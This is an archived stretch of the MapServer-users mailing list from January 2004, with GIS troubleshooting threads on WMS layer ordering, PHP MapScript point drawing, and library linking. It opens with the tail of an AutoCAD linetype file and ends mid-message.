;;  the other ISO predefined pen widths, the line has to be scaled=20
;;  with the appropriate value (e.g. pen width 0,5 mm -> ltscale 0.5).
;;
*ACAD_ISO02W100,ISO dash __ __ __ __ __ __ __ __ __ __ __ __ __
A,12,-3
*ACAD_ISO03W100,ISO dash space __    __    __    __    __    __
A,12,-18
*ACAD_ISO04W100,ISO long-dash dot ____ . ____ . ____ . ____ . _
A,24,-3,0,-3
*ACAD_ISO05W100,ISO long-dash double-dot ____ .. ____ .. ____ .=20
A,24,-3,0,-3,0,-3
*ACAD_ISO06W100,ISO long-dash triple-dot ____ ... ____ ... ____
A,24,-3,0,-3,0,-3,0,-3
*ACAD_ISO07W100,ISO dot . . . . . . . . . . . . . . . . . . . .=20
A,0,-3
*ACAD_ISO08W100,ISO long-dash short-dash ____ __ ____ __ ____ _
A,24,-3,6,-3
*ACAD_ISO09W100,ISO long-dash double-short-dash ____ __ __ ____
A,24,-3,6,-3,6,-3
*ACAD_ISO10W100,ISO dash dot __ . __ . __ . __ . __ . __ . __ .=20
A,12,-3,0,-3
*ACAD_ISO11W100,ISO double-dash dot __ __ . __ __ . __ __ . __ _
A,12,-3,12,-3,0,-3
*ACAD_ISO12W100,ISO dash double-dot __ . . __ . . __ . . __ . .=20
A,12,-3,0,-3,0,-3
*ACAD_ISO13W100,ISO double-dash double-dot __ __ . . __ __ . . _
A,12,-3,12,-3,0,-3,0,-3
*ACAD_ISO14W100,ISO dash triple-dot __ . . . __ . . . __ . . . _
A,12,-3,0,-3,0,-3,0,-3
*ACAD_ISO15W100,ISO double-dash triple-dot __ __ . . . __ __ . .
A,12,-3,12,-3,0,-3,0,-3,0,-3

;;  Complex linetypes
;;
;;  Complex linetypes have been added to this file.
;;  These linetypes were defined in LTYPESHP.LIN in
;;  Release 13, and are incorporated in ACAD.LIN in
;;  Release 14.
;; =20
;;  These linetype definitions use LTYPESHP.SHX.
;;
*FENCELINE1,Fenceline circle ----0-----0----0-----0----0-----0--
A,6.35,-2.54,[CIRC1,ltypeshp.shx,x=3D-2.54,s=3D2.54],-2.54,25.4
*FENCELINE2,Fenceline square ----[]-----[]----[]-----[]----[]---
A,6.35,-2.54,[BOX,ltypeshp.shx,x=3D-2.54,s=3D2.54],-2.54,25.4
*TRACKS,Tracks -|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-
A,3.81,[TRACK1,ltypeshp.shx,s=3D6.35],3.81
*BATTING,Batting SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
A,.00254,-2.54,[BAT,ltypeshp.shx,x=3D-2.54,s=3D2.54],-5.08,[BAT,ltypeshp.=
shx,r=3D180,x=3D2.54,s=3D2.54],-2.54
*HOT_WATER_SUPPLY,Hot water supply ---- HW ---- HW ---- HW ----
A,12.7,-5.08,["HW",STANDARD,S=3D2.54,R=3D0.0,X=3D-2.54,Y=3D-1.27],-5.08
*GAS_LINE,Gas line ----GAS----GAS----GAS----GAS----GAS----GAS--
A,12.7,-5.08,["GAS",STANDARD,S=3D2.54,R=3D0.0,X=3D-2.54,Y=3D-1.27],-6.35
*ZIGZAG,Zig zag /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
A,.00254,-5.08,[ZIG,ltypeshp.shx,x=3D-5.08,s=3D5.08],-10.16,[ZIG,ltypeshp=
.shx,r=3D180,x=3D5.08,s=3D5.08],-5.08

------=_NextPart_000_0298_01C3D91A.563B74A0--



From nsavard at dmsolutions.ca  Mon Jan 12 14:05:00 2004
From: nsavard at dmsolutions.ca (Normand Savard)
Date: Mon, 12 Jan 2004 17:05:00 -0500
Subject: [Mapserver-users] WMS LAYERS=
References: 
Message-ID: <40031A0C.7070309@dmsolutions.ca>

Hi,

I tried to replicate this problem without success by using our WMS 
server used during the OGC compliance tests.   I also used the OGC test 
suite requests.  I joined both the map file and the requests sent (see 
below).  Theses requests contain three layers.  In the first request, 
the "Forest" layer is drawn first.  In the second request, the "Forest" 
layer is drawn last.  You can also see that I modified the mapfile to 
set the "Forest" layer status to "DEFAULT".   It does not seem to affect 
the drawing order.  But maybe I'm missing something.  Do we have access 
your WMS server?  It is possible to have a copy of your mapfile and the 
request you are currently sending?

Norm



The requests used are.


http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUEST=GetMap&LAYERS=Forests,Lakes,NamedPlaces&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.0024,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif 


http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUEST=GetMap&LAYERS=NamedPlaces,Lakes,Forests&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.0024,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif 



Our map file is as follow:

#
# Start of map file
#
# $Id: ogc_cite_wms_server.map,Exp $
#
NAME OGC_CITE
STATUS ON
SIZE 600 400
## EPSG:4326 extents
EXTENT -2 -2 -1 6
#EXTENT -0.0042 -0.0024 0.0042 0.0024

UNITS METERS
SHAPEPATH "../data/shapefile"
IMAGECOLOR 255 255 255
FONTSET ../etc/fonts.txt
SYMBOLSET ../etc/symbols.sym

#
# Start of web interface definition
#
WEB
# On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the root
# of the drive where the .MAP file resides.
#
  IMAGEPATH "/tmp/ms_tmp/"
  IMAGEURL "/ms_tmp/"
#  LOG "/tmp/gmap.log"
  METADATA
    "WMS_TITLE"         "cite:OGC_CITE WMS Server"
    "WMS_ONLINERESOURCE" 
"http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?"
    "WMS_SRS"           "EPSG:4326"
    "OWS_SCHEMAS_LOCATION" "http://ogc.dmsolutions.ca"
    "WMS_ACCESSCONTRAINTS" "none"
    "WMS_FEES"              "none"

  END
END

PROJECTION
  "init=epsg:4326"
END

QUERYMAP
  SIZE 200 200
  STATUS ON
  STYLE HILITE
  COLOR 255 0 0
END

#
# Start of layer definitions
#

LAYER
  NAME BasicPolygons
  TYPE POLYGON
  STATUS OFF
  DATA BasicPolygons
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "basicpolygons.html"
  CLASS
    NAME "BasicPolygons"
    COLOR 194 194 194
  END
  METADATA
    "WMS_TITLE" "cite:BasicPolygons"
    "WMS_ABSTRACT" "BasicPolygons layer."
#    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME DividedRoutes
  TYPE LINE
  STATUS ON
  DATA DividedRoutes
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "DividedRoutes"
    COLOR 0 0 0
    OUTLINECOLOR 0 0 0
    SYMBOL 'circle'
    SIZE 6
  END
  METADATA
    "WMS_TITLE" "cite:DividedRoutes"
    "WMS_ABSTRACT" "DividedRoutes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME DividedRoutes_anno
  STATUS ON
  DATA DividedRoutes
  TYPE ANNOTATION
  LABELITEM "NAME"
  CLASS
    NAME "DividedRoutesAnnotations"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 40
    OVERLAYSYMBOL "route75"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  METADATA
    "WMS_TITLE" "DividedRoutes"
    "WMS_ABSTRACT" "Divided routes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME MapNeatline
  TYPE LINE
  STATUS ON
  DATA MapNeatline
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "MapNeatline"
    COLOR 0 0 0
    SYMBOL 'circle'
    SIZE 3
  END
  METADATA
    "WMS_TITLE" "cite:MapNeatline"
    "WMS_ABSTRACT" "MapNeatline layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME NamedPlaces
  TYPE POLYGON
  STATUS ON
  DATA NamedPlaces
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASSITEM "NAME"
  TEMPLATE "namedplaces.html"
  CLASS
    NAME "Ashton"
    EXPRESSION "Ashton"
    #COLOR 153 153 153
    COLOR 192 192 192
    OUTLINECOLOR 0 0 0
    SIZE 8
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 192 192 192
      FONT fritqat
      TYPE truetype
      SIZE 10
      POSITION LR
      OFFSET 10 10
      PARTIALS FALSE
    END
  END
  CLASS
    NAME "Goose Island"
    EXPRESSION "Goose Island"
    COLOR 255 255 255
    SIZE 8
    TEXT "Goose | Island"
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 4
      POSITION CC
      PARTIALS FALSE
      WRAP "|"
    END
  END
  METADATA
    "WMS_TITLE" "cite:NamedPlaces"
    "WMS_ABSTRACT" "NamedPlaces layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Ponds
  TYPE POLYGON
  STATUS ON
  DATA Ponds
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "ponds.html"
  CLASS
    NAME "Ponds"
    COLOR 0 255 255
    OUTLINECOLOR 0 0 0
    TEXT "Stock Pond"
    LABEL
      COLOR  0 0 0
      FONT fritqat
      TYPE truetype
      SIZE 9
      #POSITION AUTO
      POSITION UC
      PARTIALS FALSE
      OFFSET 0 23
    END
  END
  METADATA
    "WMS_TITLE" "cite:Ponds"
    "WMS_ABSTRACT" "Ponds layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME RoadSegments
  TYPE LINE
  STATUS ON
  DATA RoadSegments
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASSITEM "NAME"
  CLASS
    NAME "MainStreet"
    EXPRESSION "Main Street"
    SYMBOL 'circle'
    SIZE 3
    COLOR 238 0 0
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION UC
      PARTIALS FALSE
      OFFSET 0 2
    END
  END
  CLASS
    NAME "Route5"
    EXPRESSION "Route 5"
    SYMBOL 'circle'
    SIZE 3
    COLOR 0 0 0
  END
  CLASS
    NAME "Route75"
    EXPRESSION "Dirt Road by Green Forest"
    SYMBOL 'circle'
    SIZE 5
    #COLOR 255 255 0
    COLOR 192 160 0
    TEXT "Dirt Road"
    LABEL
      ANGLE 90
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION AUTO
      PARTIALS FALSE
      #OUTLINECOLOR 255 255 255
      OFFSET 0 5
    END
  END
  METADATA
    "WMS_TITLE" "cite:RoadSegments"
    "WMS_ABSTRACT" "RoadSegments layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME RoadSegments_anno
  STATUS ON
  DATA RoadSegments
  TYPE ANNOTATION
  CLASSITEM "FID"
  LABELITEM "NAME"
  CLASS
    NAME "Route5NorthEastAnnotations"
    EXPRESSION "104"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    #OVERLAYCOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 25
    OVERLAYSYMBOL "route5"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  CLASS
    NAME "Route5WestAnnotations"
    EXPRESSION "102"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    #OVERLAYCOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 25
    OVERLAYSYMBOL "route5"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  METADATA
    "WMS_TITLE" "RoadSegments"
    "WMS_ABSTRACT" "RoadSegments layer."
    "WMS_SRS" "EPSG:4326"
  END
END #Layer

LAYER
  NAME Streams
  TYPE LINE
  STATUS ON
  DATA Streams
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASS
    NAME "Streams"
    COLOR 0 0 205
    OUTLINECOLOR 199 199 199
    SYMBOL 'circle'
    SIZE 2
    LABEL
      ANGLE AUTO
      COLOR  0 0 205
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION UC
      PARTIALS FALSE
      OFFSET 30 5
    END
  END
  METADATA
    "WMS_TITLE" "cite:Streams"
    "WMS_ABSTRACT" "Streams layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Forests
  TYPE POLYGON
#  STATUS ON
  STATUS DEFAULT
  DATA Forests
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "forests.html"
  CLASS
    NAME "Forests"
    COLOR 0 150 0
    OUTLINECOLOR 0 0 0
    MINSIZE 4
    #SYMBOL "sapin"
    SYMBOL "tree-gif"
    SIZE 90
#    OVERLAYSYMBOL "square"
#    OVERLAYSIZE 50
#    OVERLAYCOLOR -1 -1 -1
    TEXT "State | Forest"
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 18
      POSITION AUTO
      PARTIALS FALSE
      WRAP "|"
      OFFSET 100 -60
    END
  END
  METADATA
    "WMS_TITLE" "cite:Forests"
    "WMS_ABSTRACT" "Forests layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Bridges
  TYPE POINT
  STATUS ON
  DATA Bridges
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASS
    NAME "Bridges"
    COLOR 0 0 0
    SYMBOL 'bridge'
    SIZE 40
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION AUTO
      PARTIALS FALSE
      OFFSET 20 -8
    END
  END
  METADATA
    "WMS_TITLE" "cite:Bridges"
    "WMS_ABSTRACT" "Bridges layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Lakes
  TYPE POLYGON
  STATUS ON
  DATA Lakes
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "lakes.html"
  CLASS
    NAME "Lakes"
    COLOR 0 0 205
    SIZE 8
    TEXT "BLUE | LAKE"
    LABEL
      ANGLE AUTO
      COLOR  255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 9
      POSITION LL
      PARTIALS FALSE
      WRAP "|"
      OFFSET 15 -10
      FORCE true
    END
  END
  METADATA
    "WMS_TITLE" "cite:Lakes"
    "WMS_ABSTRACT" "Lakes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Buildings
  TYPE POLYGON
  STATUS ON
  DATA Buildings
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "buildings.html"
  CLASS
    NAME "Buildings"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
  END
  METADATA
    "WMS_TITLE" "cite:Buildings"
    "WMS_ABSTRACT" "Buildings layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer
 
LAYER
  NAME BuildingCenters
  TYPE POINT
  STATUS ON
  DATA BuildingCenters
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "BuildingCenters"
    COLOR 0 0 0
    SYMBOL 'circle'
    SIZE 4
  END
  METADATA
    "WMS_TITLE" "cite:BuildingCenters"
    "WMS_ABSTRACT" "BuildingCenters layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer
 
END # Map File  


nicolas.fortin at ec.gc.ca wrote:

>Hi Heryk,
>
>Only the layer 1 is set to default, all other are set to OFF.  I thought
>that doesn't matter in WMS cause you only got the layers you are querying.
>
>I set layer 1 to ON and 
>1- try LAYERS=2,1 and only got layer 2
>2- try LAYERS=1 and got nothing
>
>I set layer 1 to OFF (like the others) and 
>1- try LAYERS=2,1 and only got layer 2
>2- try LAYERS=1 and got nothing
>
>Weird...
>Nick
>
>-----Message d'origine-----
>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca] 
>Envoy? : Monday, January 12, 2004 4:00 PM
>? : 'nicolas.fortin at ec.gc.ca'
>Objet : RE: [Mapserver-users] WMS LAYERS=
>
>
>Hi,
>Are your layers set to "default" in the mapfile? Is so, you will be calling
>layers 1,2 and all the layers that are set to default! So your might be
>calling layers 1 and 2 a second time around! Try setting them to "ON".
>
>Bonne chance!
>H?ryk
>
>
>-----Message d'origine-----
>De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? :
>Monday, January 12, 2004 3:30 PM ? : mapserver-users at lists.gis.umn.edu Objet
>: [Mapserver-users] WMS LAYERS=
>
>
>Hi list,
>
>When I make a WMS request with the layers parameters like LAYERS=2,1
>
>In accordance to the OGC WMS Spec, layer 1 is suppose to be at the top of
>layer 2 but it isn't the case...why??
>
>Even if I change to LAYERS=1,2 ... no change
>
>In the mapfile, layer 1 is at the end of the file and is always the top
>layer on others applications using this mapfile.
>
>
>Thx for your help,
>
>Nicolas Fortin 
>Math?maticien, Programmeur, Analyste de donn?es 
>SMC-Qu?bec Hydrologie, Environnement Canada 
>1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 
>(418)648-2516 
>nicolas.fortin at ec.gc.ca  
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>




From hjulien at nrcan.gc.ca  Mon Jan 12 14:15:49 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Mon, 12 Jan 2004 17:15:49 -0500
Subject: [Mapserver-users] WMS LAYERS=
Message-ID: <06B403677C41D51194550002A55107D201F78F9F@s5-stf1-r1.nrn.nrcan.gc.ca>

Salut Nick,

I did a couple of tests and I'm also having weird behaviors with the
layering order of points, lines and polygons.

The only way I can correctly order my layers is to set them all to OFF (or
to ON) and respect the following layering order in the mapfile: Polygons
first, lines second and points last. No layers are set to default!

I think you could also make more the one WMS call for each layer and order
them as you wish but the final map resolution would probably not be as good.

Bonne chance!
H?ryk

-----Message d'origine-----
De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca]
Envoy? : Monday, January 12, 2004 4:32 PM
? : hjulien at nrcan.gc.ca
Cc : mapserver-users at lists.gis.umn.edu
Objet : RE : [Mapserver-users] WMS LAYERS=



Hi Heryk,

Only the layer 1 is set to default, all other are set to OFF.  I thought
that doesn't matter in WMS cause you only got the layers you are querying.

I set layer 1 to ON and 
1- try LAYERS=2,1 and only got layer 2
2- try LAYERS=1 and got nothing

I set layer 1 to OFF (like the others) and 
1- try LAYERS=2,1 and only got layer 2
2- try LAYERS=1 and got nothing

Weird...
Nick

-----Message d'origine-----
De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca] 
Envoy? : Monday, January 12, 2004 4:00 PM
? : 'nicolas.fortin at ec.gc.ca'
Objet : RE: [Mapserver-users] WMS LAYERS=


Hi,
Are your layers set to "default" in the mapfile? Is so, you will be calling
layers 1,2 and all the layers that are set to default! So your might be
calling layers 1 and 2 a second time around! Try setting them to "ON".

Bonne chance!
H?ryk


-----Message d'origine-----
De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? :
Monday, January 12, 2004 3:30 PM ? : mapserver-users at lists.gis.umn.edu Objet
: [Mapserver-users] WMS LAYERS=


Hi list,

When I make a WMS request with the layers parameters like LAYERS=2,1

In accordance to the OGC WMS Spec, layer 1 is suppose to be at the top of
layer 2 but it isn't the case...why??

Even if I change to LAYERS=1,2 ... no change

In the mapfile, layer 1 is at the end of the file and is always the top
layer on others applications using this mapfile.


Thx for your help,

Nicolas Fortin 
Math?maticien, Programmeur, Analyste de donn?es 
SMC-Qu?bec Hydrologie, Environnement Canada 
1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 
(418)648-2516 
nicolas.fortin at ec.gc.ca  

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From ezeklinux at yahoo.com.ar  Mon Jan 12 14:43:59 2004
From: ezeklinux at yahoo.com.ar (=?iso-8859-1?q?Ezequiel=20Bertone?=)
Date: Mon, 12 Jan 2004 19:43:59 -0300 (ART)
Subject: [Mapserver-users] HELP PLEASE URGENT!!, draw point in map
Message-ID: <20040112224359.65663.qmail@web61106.mail.yahoo.com>

Hello

I need draw a point in the map in coordinates XY. 
The problem is that only draw the map without the
point. Where is the problem?
The coordinates XY is correct?

Thank you for you help.

I have the following map file an php file.
---- Php file
getLayerByName("reddot");
      $testlayer->set("status", 1);
$testpt = ms_newPointObj();
$testpt->setXY(431,7195);

 $image=$map->draw();
      $testpt->draw($map, $testlayer, $image, 0, " ");
$image=$map->draw();
$image_url=$image->saveWebImage(MS_PNG,1,1,0);
?>



Esto es una prueba de Mapas 


> 




-- Map file
MAP
  IMAGETYPE      JPEG
  EXTENT         430.0622899324  7194.39117490898 449.
 418992570303 7210.068359375
  SIZE          1200 1200
  SHAPEPATH      "data"
  IMAGECOLOR     255 255 255

  PROJECTION
    "proj=utm"
    "ellps=clrk66"        
    "datum=WGS84"
  END

  # Start of LAYER DEFINITIONS
---------------------------------------------

SYMBOL
   NAME "circle"
   TYPE ellipse
   FILLED true
   POINTS
     1 1 1
   END
END

LAYER
   NAME "reddot"
   TYPE POINT
   STATUS off
   CLASS
     Name "reddot2"
     COLOR 255 0 0
     SYMBOL "circle"
     SIZE 40
   END  # CLASS
END  # LAYER

LAYER # States polygon layer begins here
    NAME         au01
    DATA         asu01
    STATUS       DEFAULT
    TYPE         LINE
    CLASS
      COLOR        0 0 0
      OUTLINECOLOR 32 32 32
    END
END # States polygon layer ends here

END # end of map file/object

------------
Los mejores usados y las m?s tentadoras 
ofertas de 0km est?n en Yahoo! Autos.
Compr? o vend? tu auto en
http://autos.yahoo.com.ar


From mcilhagga at dmsolutions.ca  Mon Jan 12 15:08:46 2004
From: mcilhagga at dmsolutions.ca (Dave McIlhagga)
Date: Mon, 12 Jan 2004 18:08:46 -0500
Subject: [Mapserver-users] MUM 2004
In-Reply-To: 
References: 
Message-ID: <400328FE.6050507@dmsolutions.ca>

Hi Puneet,

The initial information on next year's MUM is in a message I sent in 
December:

http://lists.gis.umn.edu/pipermail/mapserver-users/2003-December/009080.html

Short answer is -- Carleton University, Ottawa, Ontario, Canada - June 
9-11, 2004. Host is the Ottawa MapServer Users Group.


Cost should not be significantly different. Much more detail will be 
available within the next few weeks.

Dave


pkishor_98 wrote:

> I was looking around for any advance details on the MapServer Users'
> Meeting 2004... couldn't find anything. Are there any details
> available? Dates, cost, venue, whether or not it is going to happen at
> all, etc. Would be very helpful for planning the year.
> 
> Many thanks,
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 

-- 
Dave McIlhagga
President, DM Solutions Group

http://www.dmsolutions.ca
EMail : mcilhagga at dmsolutions.ca
Phone : 613-565-5056 x15
Fax : 613-565-0925




From keon at nacse.org  Mon Jan 12 16:19:25 2004
From: keon at nacse.org (Dylan Keon)
Date: Mon, 12 Jan 2004 16:19:25 -0800
Subject: [Mapserver-users] libpq.so.2 vs. libpq.so.3 problems
Message-ID: <4003398D.20608@nacse.org>

When MapServer is compiled with PostGIS support, does it require 
libpq.so.2 even if libpq.so.3 is available?  I replaced Postgres 7.2.3 
with 7.4.1 today (along with the current PostGIS and GEOS builds), 
recompiled MapServer to point to the new pg_config, and get the 
following error:

# ./mapserv -v
./mapserv: error while loading shared libraries: libpq.so.2: cannot open 
shared object file: No such file or directory

I was able to restore the old libpq.so.2 and currently have it sitting 
alongside libpq.so.3.  In that case ./mapserv -v works:

./mapserv -v
MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF 
SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT 
SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7
INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE fine:

Is there any problem with using both libraries side-by-side?  I just 
don't understand why MapServer needs both:

ldd ./mapserv
         libgd.so.2 => /usr/local/lib/libgd.so.2 (0x40022000)
         libfreetype.so.6 => /usr/local/lib/libfreetype.so.6 (0x40073000)
         libpng12.so.0 => /usr/local/lib/libpng12.so.0 (0x400bd000)
         libXpm.so.4 => /usr/X11R6/lib/libXpm.so.4 (0x400f0000)
         libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x400ff000)
         libpdf.so.1 => /usr/local/lib/libpdf.so.1 (0x401dd000)
         libproj.so.0 => /usr/local/lib/libproj.so.0 (0x4026b000)
         libgdal.1.1.so => /usr/local/lib/libgdal.1.1.so (0x4029a000)
         libm.so.6 => /lib/i686/libm.so.6 (0x40547000)
         libdl.so.2 => /lib/libdl.so.2 (0x40569000)
         libpq.so.3 => /usr/local/lib/libpq.so.3 (0x4056c000)
         libcurl.so.2 => /usr/local/lib/libcurl.so.2 (0x40582000)
         libpthread.so.0 => /lib/i686/libpthread.so.0 (0x405a4000)
         libstdc++.so.5 => /usr/lib/libstdc++.so.5 (0x405f5000)
         libc.so.6 => /lib/i686/libc.so.6 (0x42000000)
         libpq.so.2 => not found
         libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x406a7000)
         /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
         libcrypt.so.1 => /lib/libcrypt.so.1 (0x406af000)
         libresolv.so.2 => /lib/libresolv.so.2 (0x406dd000)
         libnsl.so.1 => /lib/libnsl.so.1 (0x406ef000)
         libz.so.1 => /usr/lib/libz.so.1 (0x40705000)
         libssl.so.2 => /lib/libssl.so.2 (0x40713000)
         libcrypto.so.2 => /lib/libcrypto.so.2 (0x40743000)


Thanks,
Dylan



From keon at nacse.org  Mon Jan 12 16:50:36 2004
From: keon at nacse.org (Dylan Keon)
Date: Mon, 12 Jan 2004 16:50:36 -0800
Subject: [Mapserver-users] libpq.so.2 vs. libpq.so.3 problems
In-Reply-To: <4003398D.20608@nacse.org>
References: <4003398D.20608@nacse.org>
Message-ID: <400340DC.1030307@nacse.org>

Dylan Keon wrote:
> When MapServer is compiled with PostGIS support, does it require 
> libpq.so.2 even if libpq.so.3 is available?  I replaced Postgres 7.2.3 
> with 7.4.1 today (along with the current PostGIS and GEOS builds), 
> recompiled MapServer to point to the new pg_config, and get the 
> following error:
> 
> # ./mapserv -v
> ./mapserv: error while loading shared libraries: libpq.so.2: cannot open 
> shared object file: No such file or directory
> 
> I was able to restore the old libpq.so.2 and currently have it sitting 
> alongside libpq.so.3.  In that case ./mapserv -v works:
> 
> ./mapserv -v
> MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF 
> SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT 
> SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7
> INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE fine:
> 
> Is there any problem with using both libraries side-by-side?  I just 
> don't understand why MapServer needs both:


Never mind, I figured it out.  libgdal was looking for libpq.so.2 - 
there were error messages when running make on MapServer:

/usr/bin/ld: warning: libpq.so.2, needed by 
/usr/local/lib/libgdal.1.1.so, not found (try using -rpath or -rpath-link)

I recompiled GDAL, recompiled MS, and now all is fine.  Sorry for the 
wasted message :-)

--Dylan


From eduardo at consultoria.eti.br  Tue Jan 13 05:18:55 2004
From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae)
Date: Tue, 13 Jan 2004 11:18:55 -0200
Subject: [Mapserver-users] debugging "configure" and "make" processes
Message-ID: <20040113131855.21992.qmail@hm47.locaweb.com.br>

hi,

Is there a way to save( to a TEXT file per example) the screen output results to a file, for debbugging purposes.

thanks

Eduardo Patto Kanegae
+Homepage:http://www.consultoria.eti.br   ( BRASIL )
+Perfil:http://www.consultoria.eti.br/ptbr/epk.php
*F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ - "Discuss?es relacionadas ao MapServer"
*ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do Brasil com dados censit?rios"
***************************************
***Fim da Mensagem / End of Message ***
***************************************





From D.PRATI at arpalombardia.it  Tue Jan 13 06:35:10 2004
From: D.PRATI at arpalombardia.it (PRATI DAVIDE)
Date: Tue, 13 Jan 2004 15:35:10 +0100
Subject: [Mapserver-users] Update shape file on-the-fly
Message-ID: <9AA7719DA653D611B0FB00300516D2981D3606@ARPA_PRY>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3D9E2.72AA1010
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,
my application using MS SQL-Server as DBMS for the data.
In a table 'tbl_Plants' I'm storing the XY coordinate of my entity that are
Radio/TV emitter (points).
 
Usually my local application export the data in .txt file and ArcView import
